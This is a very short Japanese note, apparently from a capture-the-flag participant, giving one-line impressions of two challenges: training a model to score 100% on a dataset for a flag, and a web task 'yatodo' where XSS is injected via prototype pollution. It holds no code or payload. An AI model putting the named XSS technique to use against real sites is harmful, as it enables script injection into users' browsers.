これを使って学習させてデータセットについて100%の正解を出すモデルを作って与えるとフラグが手に入る。
…らしい

[web] yatodo

プロトタイプ汚染でXSSコードを差し込む。
かなり難しそう。
もう、許して…